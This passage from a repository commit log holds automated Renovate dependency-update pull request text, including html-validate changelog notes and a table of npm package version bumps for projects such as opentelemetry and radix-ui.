    `ConfigLoader.getGlobalConfigSync()` (sync).
-   **api:** The redundant and deprecated `Config.init()` method has been
    removed.

Remove any calls to the method:

```diff
 const config = Config.fromObject({ /* ... */ });
-config.init();
```

##### Features

-   **api:** `CLI.isIgnored()` made private ([9e3679a](9e3679a13a))
-   **api:** `CLI` methods async and return Promise ([677c73e](677c73e51a))
-   **api:** `Config.fromFile` and `Config.fromObject` can return `Promise` ([b126361](b126361701))
-   **api:** `Config.merge(..)` can return `Promise` ([cccb313](cccb313c67))
-   **api:** `Config.resolve()` can return `Promise` ([09159f3](09159f39c5))
-   **api:** `ConfigLoader`s can optionally return `Promise` for async operation ([6041581](6041581eb8))
-   **api:** `FileSystemConfigLoader` uses `esmResolver` by default ([dd4cfb1](dd4cfb1e1b))
-   **api:** `HtmlValidate.getConfigurationSchema()` returns promise ([f10ec1a](f10ec1a650))
-   **api:** allow transformers to return single source ([fd126da](fd126dab3f))
-   **api:** new `esmResolver` using `import(..)` (available for both nodejs and browser) ([81b4777](81b4777083)), closes [#&#8203;230](https://gitlab.com/html-validate/html-validate/issues/230)
-   **api:** remove deprecated `Config.init()` ([0bd8ab7](0bd8ab787a))
-   **api:** remove deprecated `tag:open` and `tag:close` events ([88ac65e](88ac65ee6b))
-   **api:** replace `ConfigLoader.globalConfig` with `ConfigLoader.getGlobalConfig()` ([a64935a](a64935af91))
-   **api:** resolvers may optionally return `Promise` for async operation ([fe3c6a6](fe3c6a6362))
-   **api:** transformers may optionally return `Promise` for async operation ([823da19](823da1998e))
-   **cli:** cli uses esm (with `esmResolver`) ([3e4759e](3e4759e4a3))
-   **config:** remove deprecated configuration presets ([dbf5cf4](dbf5cf405b))
-   **config:** support `.htmlvalidate.mjs` configuration files ([0ffd9b5](0ffd9b5f0e)), closes [#&#8203;125](https://gitlab.com/html-validate/html-validate/issues/125)
-   **deps:** require node 18 or later ([d4f3bcb](d4f3bcb0a6))
-   **meta:** remove deprecated property expressions ([a77043c](a77043cff3))

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined), Automerge - At any time (no schedule defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update again.

---

 - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/). View the [repository job log](https://developer.mend.io/github/toeverything/AFFiNE).
<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzOS44MC4wIiwidXBkYXRlZEluVmVyIjoiMzkuODAuMCIsInRhcmdldEJyYW5jaCI6ImNhbmFyeSIsImxhYmVscyI6WyJkZXBlbmRlbmNpZXMiXX0=-->
2024-12-23 04:02:52 +00:00
Saul-Mirone
e0d2f50914 fix: drop on editor should prevent default (#9239) 2024-12-23 03:40:04 +00:00
renovate
331aa47a0e chore: bump up all non-major dependencies (#9180)
This PR contains the following updates:

| Package | Change | Age | Adoption | Passing | Confidence | Type | Update |
|---|---|---|---|---|---|---|---|
| [@aws-sdk/client-s3](https://redirect.github.com/aws/aws-sdk-js-v3/tree/main/clients/client-s3) ([source](https://redirect.github.com/aws/aws-sdk-js-v3/tree/HEAD/clients/client-s3)) | [`3.712.0` -> `3.717.0`](https://renovatebot.com/diffs/npm/@aws-sdk%2fclient-s3/3.712.0/3.717.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@aws-sdk%2fclient-s3/3.717.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@aws-sdk%2fclient-s3/3.717.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@aws-sdk%2fclient-s3/3.712.0/3.717.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@aws-sdk%2fclient-s3/3.712.0/3.717.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | devDependencies | minor |
| [@aws-sdk/client-s3](https://redirect.github.com/aws/aws-sdk-js-v3/tree/main/clients/client-s3) ([source](https://redirect.github.com/aws/aws-sdk-js-v3/tree/HEAD/clients/client-s3)) | [`3.712.0` -> `3.717.0`](https://renovatebot.com/diffs/npm/@aws-sdk%2fclient-s3/3.712.0/3.717.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@aws-sdk%2fclient-s3/3.717.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@aws-sdk%2fclient-s3/3.717.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@aws-sdk%2fclient-s3/3.712.0/3.717.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@aws-sdk%2fclient-s3/3.712.0/3.717.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | minor |
| [@chromatic-com/storybook](https://redirect.github.com/chromaui/addon-visual-tests) | [`3.2.2` -> `3.2.3`](https://renovatebot.com/diffs/npm/@chromatic-com%2fstorybook/3.2.2/3.2.3) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@chromatic-com%2fstorybook/3.2.3?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@chromatic-com%2fstorybook/3.2.3?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@chromatic-com%2fstorybook/3.2.2/3.2.3?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@chromatic-com%2fstorybook/3.2.2/3.2.3?slim=true)](https://docs.renovatebot.com/merge-confidence/) | devDependencies | patch |
| [@clack/core](https://redirect.github.com/natemoo-re/clack/tree/main/packages/core#readme) ([source](https://redirect.github.com/natemoo-re/clack/tree/HEAD/packages/core)) | [`^0.3.5` -> `^0.4.0`](https://renovatebot.com/diffs/npm/@clack%2fcore/0.3.5/0.4.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@clack%2fcore/0.4.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@clack%2fcore/0.4.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@clack%2fcore/0.3.5/0.4.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@clack%2fcore/0.3.5/0.4.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | devDependencies | minor |
| [@clack/prompts](https://redirect.github.com/natemoo-re/clack/tree/main/packages/prompts#readme) ([source](https://redirect.github.com/natemoo-re/clack/tree/HEAD/packages/prompts)) | [`^0.8.2` -> `^0.9.0`](https://renovatebot.com/diffs/npm/@clack%2fprompts/0.8.2/0.9.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@clack%2fprompts/0.9.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@clack%2fprompts/0.9.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@clack%2fprompts/0.8.2/0.9.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@clack%2fprompts/0.8.2/0.9.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | devDependencies | minor |
| [@napi-rs/cli](https://redirect.github.com/napi-rs/napi-rs) | [`3.0.0-alpha.64` -> `3.0.0-alpha.65`](https://renovatebot.com/diffs/npm/@napi-rs%2fcli/3.0.0-alpha.64/3.0.0-alpha.65) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@napi-rs%2fcli/3.0.0-alpha.65?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@napi-rs%2fcli/3.0.0-alpha.65?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@napi-rs%2fcli/3.0.0-alpha.64/3.0.0-alpha.65?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@napi-rs%2fcli/3.0.0-alpha.64/3.0.0-alpha.65?slim=true)](https://docs.renovatebot.com/merge-confidence/) | devDependencies | patch |
| [@opentelemetry/core](https://redirect.github.com/open-telemetry/opentelemetry-js/tree/main/packages/opentelemetry-core) ([source](https://redirect.github.com/open-telemetry/opentelemetry-js)) | [`1.29.0` -> `1.30.0`](https://renovatebot.com/diffs/npm/@opentelemetry%2fcore/1.29.0/1.30.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@opentelemetry%2fcore/1.30.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@opentelemetry%2fcore/1.30.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@opentelemetry%2fcore/1.29.0/1.30.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@opentelemetry%2fcore/1.29.0/1.30.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | minor |
| [@opentelemetry/exporter-prometheus](https://redirect.github.com/open-telemetry/opentelemetry-js/tree/main/experimental/packages/opentelemetry-exporter-prometheus) ([source](https://redirect.github.com/open-telemetry/opentelemetry-js)) | [`^0.56.0` -> `^0.57.0`](https://renovatebot.com/diffs/npm/@opentelemetry%2fexporter-prometheus/0.56.0/0.57.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@opentelemetry%2fexporter-prometheus/0.57.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@opentelemetry%2fexporter-prometheus/0.57.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@opentelemetry%2fexporter-prometheus/0.56.0/0.57.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@opentelemetry%2fexporter-prometheus/0.56.0/0.57.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | minor |
| [@opentelemetry/exporter-zipkin](https://redirect.github.com/open-telemetry/opentelemetry-js/tree/main/packages/opentelemetry-exporter-zipkin) ([source](https://redirect.github.com/open-telemetry/opentelemetry-js)) | [`1.29.0` -> `1.30.0`](https://renovatebot.com/diffs/npm/@opentelemetry%2fexporter-zipkin/1.29.0/1.30.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@opentelemetry%2fexporter-zipkin/1.30.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@opentelemetry%2fexporter-zipkin/1.30.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@opentelemetry%2fexporter-zipkin/1.29.0/1.30.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@opentelemetry%2fexporter-zipkin/1.29.0/1.30.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | minor |
| [@opentelemetry/instrumentation](https://redirect.github.com/open-telemetry/opentelemetry-js/tree/main/experimental/packages/opentelemetry-instrumentation) ([source](https://redirect.github.com/open-telemetry/opentelemetry-js)) | [`^0.56.0` -> `^0.57.0`](https://renovatebot.com/diffs/npm/@opentelemetry%2finstrumentation/0.56.0/0.57.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@opentelemetry%2finstrumentation/0.57.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@opentelemetry%2finstrumentation/0.57.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@opentelemetry%2finstrumentation/0.56.0/0.57.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@opentelemetry%2finstrumentation/0.56.0/0.57.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | minor |
| [@opentelemetry/instrumentation-graphql](https://redirect.github.com/open-telemetry/opentelemetry-js-contrib/tree/main/plugins/node/opentelemetry-instrumentation-graphql#readme) ([source](https://redirect.github.com/open-telemetry/opentelemetry-js-contrib)) | [`^0.46.0` -> `^0.47.0`](https://renovatebot.com/diffs/npm/@opentelemetry%2finstrumentation-graphql/0.46.0/0.47.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@opentelemetry%2finstrumentation-graphql/0.47.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@opentelemetry%2finstrumentation-graphql/0.47.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@opentelemetry%2finstrumentation-graphql/0.46.0/0.47.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@opentelemetry%2finstrumentation-graphql/0.46.0/0.47.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | minor |
| [@opentelemetry/instrumentation-http](https://redirect.github.com/open-telemetry/opentelemetry-js/tree/main/experimental/packages/opentelemetry-instrumentation-http) ([source](https://redirect.github.com/open-telemetry/opentelemetry-js)) | [`^0.56.0` -> `^0.57.0`](https://renovatebot.com/diffs/npm/@opentelemetry%2finstrumentation-http/0.56.0/0.57.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@opentelemetry%2finstrumentation-http/0.57.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@opentelemetry%2finstrumentation-http/0.57.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@opentelemetry%2finstrumentation-http/0.56.0/0.57.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@opentelemetry%2finstrumentation-http/0.56.0/0.57.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | minor |
| [@opentelemetry/instrumentation-ioredis](https://redirect.github.com/open-telemetry/opentelemetry-js-contrib/tree/main/plugins/node/opentelemetry-instrumentation-ioredis#readme) ([source](https://redirect.github.com/open-telemetry/opentelemetry-js-contrib)) | [`^0.46.0` -> `^0.47.0`](https://renovatebot.com/diffs/npm/@opentelemetry%2finstrumentation-ioredis/0.46.0/0.47.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@opentelemetry%2finstrumentation-ioredis/0.47.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@opentelemetry%2finstrumentation-ioredis/0.47.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@opentelemetry%2finstrumentation-ioredis/0.46.0/0.47.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@opentelemetry%2finstrumentation-ioredis/0.46.0/0.47.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | minor |
| [@opentelemetry/instrumentation-nestjs-core](https://redirect.github.com/open-telemetry/opentelemetry-js-contrib/tree/main/plugins/node/opentelemetry-instrumentation-nestjs-core#readme) ([source](https://redirect.github.com/open-telemetry/opentelemetry-js-contrib)) | [`^0.43.0` -> `^0.44.0`](https://renovatebot.com/diffs/npm/@opentelemetry%2finstrumentation-nestjs-core/0.43.0/0.44.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@opentelemetry%2finstrumentation-nestjs-core/0.44.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@opentelemetry%2finstrumentation-nestjs-core/0.44.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@opentelemetry%2finstrumentation-nestjs-core/0.43.0/0.44.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@opentelemetry%2finstrumentation-nestjs-core/0.43.0/0.44.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | minor |
| [@opentelemetry/instrumentation-socket.io](https://redirect.github.com/open-telemetry/opentelemetry-js-contrib/tree/main/plugins/node/instrumentation-socket.io#readme) ([source](https://redirect.github.com/open-telemetry/opentelemetry-js-contrib)) | [`^0.45.0` -> `^0.46.0`](https://renovatebot.com/diffs/npm/@opentelemetry%2finstrumentation-socket.io/0.45.0/0.46.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@opentelemetry%2finstrumentation-socket.io/0.46.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@opentelemetry%2finstrumentation-socket.io/0.46.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@opentelemetry%2finstrumentation-socket.io/0.45.0/0.46.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@opentelemetry%2finstrumentation-socket.io/0.45.0/0.46.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | minor |
| [@opentelemetry/resources](https://redirect.github.com/open-telemetry/opentelemetry-js/tree/main/packages/opentelemetry-resources) ([source](https://redirect.github.com/open-telemetry/opentelemetry-js)) | [`1.29.0` -> `1.30.0`](https://renovatebot.com/diffs/npm/@opentelemetry%2fresources/1.29.0/1.30.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@opentelemetry%2fresources/1.30.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@opentelemetry%2fresources/1.30.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@opentelemetry%2fresources/1.29.0/1.30.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@opentelemetry%2fresources/1.29.0/1.30.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | minor |
| [@opentelemetry/sdk-metrics](https://redirect.github.com/open-telemetry/opentelemetry-js/tree/main/packages/sdk-metrics) ([source](https://redirect.github.com/open-telemetry/opentelemetry-js)) | [`1.29.0` -> `1.30.0`](https://renovatebot.com/diffs/npm/@opentelemetry%2fsdk-metrics/1.29.0/1.30.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@opentelemetry%2fsdk-metrics/1.30.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@opentelemetry%2fsdk-metrics/1.30.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@opentelemetry%2fsdk-metrics/1.29.0/1.30.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@opentelemetry%2fsdk-metrics/1.29.0/1.30.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | minor |
| [@opentelemetry/sdk-node](https://redirect.github.com/open-telemetry/opentelemetry-js/tree/main/experimental/packages/opentelemetry-sdk-node) ([source](https://redirect.github.com/open-telemetry/opentelemetry-js)) | [`^0.56.0` -> `^0.57.0`](https://renovatebot.com/diffs/npm/@opentelemetry%2fsdk-node/0.56.0/0.57.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@opentelemetry%2fsdk-node/0.57.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@opentelemetry%2fsdk-node/0.57.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@opentelemetry%2fsdk-node/0.56.0/0.57.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@opentelemetry%2fsdk-node/0.56.0/0.57.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | minor |
| [@opentelemetry/sdk-trace-node](https://redirect.github.com/open-telemetry/opentelemetry-js/tree/main/packages/opentelemetry-sdk-trace-node) ([source](https://redirect.github.com/open-telemetry/opentelemetry-js)) | [`1.29.0` -> `1.30.0`](https://renovatebot.com/diffs/npm/@opentelemetry%2fsdk-trace-node/1.29.0/1.30.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@opentelemetry%2fsdk-trace-node/1.30.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@opentelemetry%2fsdk-trace-node/1.30.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@opentelemetry%2fsdk-trace-node/1.29.0/1.30.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@opentelemetry%2fsdk-trace-node/1.29.0/1.30.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | minor |
| [@radix-ui/react-alert-dialog](https://radix-ui.com/primitives) ([source](https://redirect.github.com/radix-ui/primitives)) | [`1.1.3` -> `1.1.4`](https://renovatebot.com/diffs/npm/@radix-ui%2freact-alert-dialog/1.1.3/1.1.4) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@radix-ui%2freact-alert-dialog/1.1.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@radix-ui%2freact-alert-dialog/1.1.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@radix-ui%2freact-alert-dialog/1.1.3/1.1.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@radix-ui%2freact-alert-dialog/1.1.3/1.1.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | patch |
| [@radix-ui/react-context-menu](https://radix-ui.com/primitives) ([source](https://redirect.github.com/radix-ui/primitives)) | [`2.2.3` -> `2.2.4`](https://renovatebot.com/diffs/npm/@radix-ui%2freact-context-menu/2.2.3/2.2.4) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@radix-ui%2freact-context-menu/2.2.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@radix-ui%2freact-context-menu/2.2.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@radix-ui%2freact-context-menu/2.2.3/2.2.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@radix-ui%2freact-context-menu/2.2.3/2.2.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | patch |
| [@radix-ui/react-dialog](https://radix-ui.com/primitives) ([source](https://redirect.github.com/radix-ui/primitives)) | [`1.1.3` -> `1.1.4`](https://renovatebot.com/diffs/npm/@radix-ui%2freact-dialog/1.1.3/1.1.4) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@radix-ui%2freact-dialog/1.1.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@radix-ui%2freact-dialog/1.1.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@radix-ui%2freact-dialog/1.1.3/1.1.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@radix-ui%2freact-dialog/1.1.3/1.1.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | patch |
| [@radix-ui/react-dropdown-menu](https://radix-ui.com/primitives) ([source](https://redirect.github.com/radix-ui/primitives)) | [`2.1.3` -> `2.1.4`](https://renovatebot.com/diffs/npm/@radix-ui%2freact-dropdown-menu/2.1.3/2.1.4) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@radix-ui%2freact-dropdown-menu/2.1.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@radix-ui%2freact-dropdown-menu/2.1.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@radix-ui%2freact-dropdown-menu/2.1.3/2.1.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@radix-ui%2freact-dropdown-menu/2.1.3/2.1.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | patch |
| [@radix-ui/react-hover-card](https://radix-ui.com/primitives) ([source](https://redirect.github.com/radix-ui/primitives)) | [`1.1.3` -> `1.1.4`](https://renovatebot.com/diffs/npm/@radix-ui%2freact-hover-card/1.1.3/1.1.4) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@radix-ui%2freact-hover-card/1.1.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@radix-ui%2freact-hover-card/1.1.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@radix-ui%2freact-hover-card/1.1.3/1.1.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@radix-ui%2freact-hover-card/1.1.3/1.1.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | patch |
| [@radix-ui/react-menubar](https://radix-ui.com/primitives) ([source](https://redirect.github.com/radix-ui/primitives)) | [`1.1.3` -> `1.1.4`](https://renovatebot.com/diffs/npm/@radix-ui%2freact-menubar/1.1.3/1.1.4) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@radix-ui%2freact-menubar/1.1.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@radix-ui%2freact-menubar/1.1.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@radix-ui%2freact-menubar/1.1.3/1.1.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@radix-ui%2freact-menubar/1.1.3/1.1.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | patch |
| [@radix-ui/react-navigation-menu](https://radix-ui.com/primitives) ([source](https://redirect.github.com/radix-ui/primitives)) | [`1.2.2` -> `1.2.3`](https://renovatebot.com/diffs/npm/@radix-ui%2freact-navigation-menu/1.2.2/1.2.3) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@radix-ui%2freact-navigation-menu/1.2.3?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@radix-ui%2freact-navigation-menu/1.2.3?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@radix-ui%2freact-navigation-menu/1.2.2/1.2.3?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@radix-ui%2freact-navigation-menu/1.2.2/1.2.3?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | patch |
| [@radix-ui/react-popover](https://radix-ui.com/primitives) ([source](https://redirect.github.com/radix-ui/primitives)) | [`1.1.3` -> `1.1.4`](https://renovatebot.com/diffs/npm/@radix-ui%2freact-popover/1.1.3/1.1.4) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@radix-ui%2freact-popover/1.1.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@radix-ui%2freact-popover/1.1.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@radix-ui%2freact-popover/1.1.3/1.1.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@radix-ui%2freact-popover/1.1.3/1.1.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | patch |
